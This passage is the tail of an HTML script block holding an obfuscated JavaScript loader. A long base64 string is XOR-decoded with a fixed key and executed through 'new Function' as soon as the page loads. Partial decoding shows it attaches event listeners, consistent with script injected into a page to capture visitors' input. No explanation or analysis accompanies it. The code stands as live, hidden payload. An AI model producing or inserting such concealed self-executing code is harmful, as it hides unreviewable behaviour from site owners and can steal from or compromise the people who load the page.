SUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>